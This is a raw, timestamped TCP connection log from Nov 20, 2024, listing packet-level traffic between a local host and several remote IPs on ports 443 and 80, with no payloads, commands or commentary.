Nov 20, 2024 07:48:12.318166971 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.318181038 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.318224907 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.320349932 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.322884083 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.322947025 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.322956085 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.325352907 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.325459003 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.325520992 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.325529099 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.325582981 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.327454090 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.334111929 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.334230900 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.334290028 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.334295988 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.334346056 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.334351063 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.336885929 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.336922884 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.336946011 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.336980104 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.336987972 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.337018967 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.339783907 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.339875937 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:12.339943886 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.355891943 CET	49734	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:12.355915070 CET	443	49734	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:14.161883116 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:14.162046909 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:14.162128925 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:14.162437916 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:14.164854050 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:14.791899920 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:14.791909933 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:14.791991949 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:14.792203903 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:14.792231083 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.083560944 CET	49747	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:15.083655119 CET	443	49747	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:15.083745956 CET	49747	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:15.084083080 CET	49747	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:15.084116936 CET	443	49747	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:15.442977905 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.443183899 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.443201065 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.444170952 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.444246054 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.445338011 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.445400953 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.445525885 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.445538998 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.486991882 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.678241014 CET	49748	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:15.678276062 CET	443	49748	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:15.678375959 CET	49748	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:15.687017918 CET	49748	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:15.687031031 CET	443	49748	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:15.713346004 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.713398933 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.713432074 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.713459015 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.713483095 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.713512897 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.713540077 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.713574886 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.713598013 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.719892025 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.719945908 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.719997883 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.720014095 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.725951910 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.726016045 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.726047039 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.729012966 CET	443	49747	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:15.729269981 CET	49747	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:15.729289055 CET	443	49747	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:15.730782986 CET	443	49747	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:15.731165886 CET	49747	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:15.731367111 CET	443	49747	142.250.186.164	192.168.2.4
Nov 20, 2024 07:48:15.732111931 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.732170105 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.732192993 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.783145905 CET	49747	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:15.783147097 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.794934988 CET	49750	443	192.168.2.4	142.250.186.142
Nov 20, 2024 07:48:15.795026064 CET	443	49750	142.250.186.142	192.168.2.4
Nov 20, 2024 07:48:15.795104980 CET	49750	443	192.168.2.4	142.250.186.142
Nov 20, 2024 07:48:15.795371056 CET	49750	443	192.168.2.4	142.250.186.142
Nov 20, 2024 07:48:15.795404911 CET	443	49750	142.250.186.142	192.168.2.4
Nov 20, 2024 07:48:15.803859949 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.803906918 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.803929090 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.803977013 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.804055929 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.804121971 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.809246063 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.815499067 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.815525055 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.815555096 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.815586090 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.815643072 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.821986914 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.828182936 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.828197956 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.828269005 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.828290939 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.828363895 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.834419012 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.840377092 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.840400934 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.840444088 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.840466022 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.840523005 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.846206903 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.852216959 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.852247953 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.852287054 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.852300882 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.852360010 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.858002901 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.863986015 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.864048004 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.864049911 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.864064932 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.864111900 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.869812012 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.894201040 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.894224882 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.894277096 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.894292116 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.894346952 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.894448042 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.894507885 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.894541979 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.894557953 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.894571066 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.894622087 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.897861958 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.902225018 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.902247906 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.902273893 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.902293921 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.902308941 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.902342081 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.906658888 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.906733990 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.906748056 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.911056995 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.911106110 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.911118031 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.915462971 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.915529966 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.915543079 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.919769049 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.919826984 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.919838905 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.924176931 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.924236059 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.924248934 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.928585052 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.928656101 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.928687096 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.932864904 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.932931900 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.932945013 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.937333107 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.937413931 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.937427044 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.941865921 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.941927910 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.941940069 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.946005106 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.946072102 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.946085930 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.950311899 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.950383902 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.950397015 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.954704046 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.954762936 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.954776049 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.958918095 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.958978891 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.958992004 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.963017941 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.963078022 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.963089943 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.966969013 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.967040062 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.967052937 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.971069098 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.971137047 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.971149921 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.974903107 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.974967957 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.974980116 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.984709024 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.984736919 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.984764099 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.984791040 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.984803915 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.984842062 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.985160112 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:15.987672091 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:15.987672091 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:16.205972910 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:16.206245899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:16.210978985 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:16.211136103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:16.211209059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:16.211307049 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:16.216177940 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:16.299606085 CET	49746	443	192.168.2.4	216.58.212.142
Nov 20, 2024 07:48:16.299690008 CET	443	49746	216.58.212.142	192.168.2.4
Nov 20, 2024 07:48:16.378915071 CET	443	49748	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:16.378988028 CET	49748	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:16.383497000 CET	49748	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:16.383507967 CET	443	49748	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:16.383724928 CET	443	49748	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:16.424536943 CET	49748	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:16.435759068 CET	49748	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:16.442868948 CET	443	49750	142.250.186.142	192.168.2.4
Nov 20, 2024 07:48:16.443140984 CET	49750	443	192.168.2.4	142.250.186.142
Nov 20, 2024 07:48:16.443170071 CET	443	49750	142.250.186.142	192.168.2.4
Nov 20, 2024 07:48:16.443511963 CET	443	49750	142.250.186.142	192.168.2.4
Nov 20, 2024 07:48:16.443564892 CET	49750	443	192.168.2.4	142.250.186.142
Nov 20, 2024 07:48:16.444170952 CET	443	49750	142.250.186.142	192.168.2.4
Nov 20, 2024 07:48:16.444220066 CET	49750	443	192.168.2.4	142.250.186.142
Nov 20, 2024 07:48:16.449796915 CET	49750	443	192.168.2.4	142.250.186.142
Nov 20, 2024 07:48:16.449862957 CET	443	49750	142.250.186.142	192.168.2.4
Nov 20, 2024 07:48:16.450108051 CET	49750	443	192.168.2.4	142.250.186.142
Nov 20, 2024 07:48:16.450119019 CET	443	49750	142.250.186.142	192.168.2.4
Nov 20, 2024 07:48:16.450140953 CET	49750	443	192.168.2.4	142.250.186.142
Nov 20, 2024 07:48:16.483344078 CET	443	49748	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:16.495341063 CET	443	49750	142.250.186.142	192.168.2.4
Nov 20, 2024 07:48:16.502091885 CET	49750	443	192.168.2.4	142.250.186.142
Nov 20, 2024 07:48:16.649548054 CET	443	49750	142.250.186.142	192.168.2.4
Nov 20, 2024 07:48:16.649683952 CET	443	49750	142.250.186.142	192.168.2.4
Nov 20, 2024 07:48:16.655502081 CET	49750	443	192.168.2.4	142.250.186.142
Nov 20, 2024 07:48:16.666424990 CET	49750	443	192.168.2.4	142.250.186.142
Nov 20, 2024 07:48:16.666444063 CET	443	49750	142.250.186.142	192.168.2.4
Nov 20, 2024 07:48:16.704639912 CET	443	49748	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:16.704694986 CET	443	49748	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:16.704744101 CET	49748	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:16.704880953 CET	49748	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:16.704893112 CET	443	49748	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:16.704919100 CET	49748	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:16.704924107 CET	443	49748	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:16.759066105 CET	49754	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:16.759150982 CET	443	49754	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:16.759237051 CET	49754	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:16.759669065 CET	49754	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:16.759704113 CET	443	49754	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:16.945002079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:16.945209026 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:17.021908998 CET	49747	443	192.168.2.4	142.250.186.164
Nov 20, 2024 07:48:17.478566885 CET	443	49754	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:17.478667021 CET	49754	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:17.480400085 CET	49754	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:17.480424881 CET	443	49754	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:17.480770111 CET	443	49754	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:17.482057095 CET	49754	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:17.513081074 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:17.513135910 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:17.518783092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:17.518815041 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:17.518898964 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:17.523344040 CET	443	49754	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:17.813718081 CET	443	49754	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:17.813890934 CET	443	49754	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:17.813997984 CET	49754	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:17.815574884 CET	49754	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:17.815634012 CET	443	49754	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:17.815666914 CET	49754	443	192.168.2.4	184.28.90.27
Nov 20, 2024 07:48:17.815685034 CET	443	49754	184.28.90.27	192.168.2.4
Nov 20, 2024 07:48:18.082288027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:18.082390070 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:18.099903107 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:18.104863882 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:18.346448898 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:18.346632004 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:18.723515034 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:18.729151011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:18.969614983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:18.969682932 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.216823101 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.221674919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.439403057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.439424038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.439440012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.439455032 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.439470053 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.439470053 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.439486027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.439493895 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.439502001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.439516068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.439531088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.439543009 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.439548016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.439557076 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.439619064 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.440077066 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.440208912 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.440208912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.440249920 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.440268040 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.440309048 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.567224979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.567281008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.567295074 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.567297935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.567332029 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.567337990 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.567347050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.567353010 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.567372084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.567394972 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.567579985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.567637920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.567665100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.567679882 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.567682981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.567698956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.567718029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.567743063 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.568309069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.568325043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.568356991 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.568371058 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.568380117 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.568389893 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.568393946 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.568412066 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.568428993 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.568451881 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.568474054 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.569120884 CET	80	49753	62.204.41.163	192.168.2.4
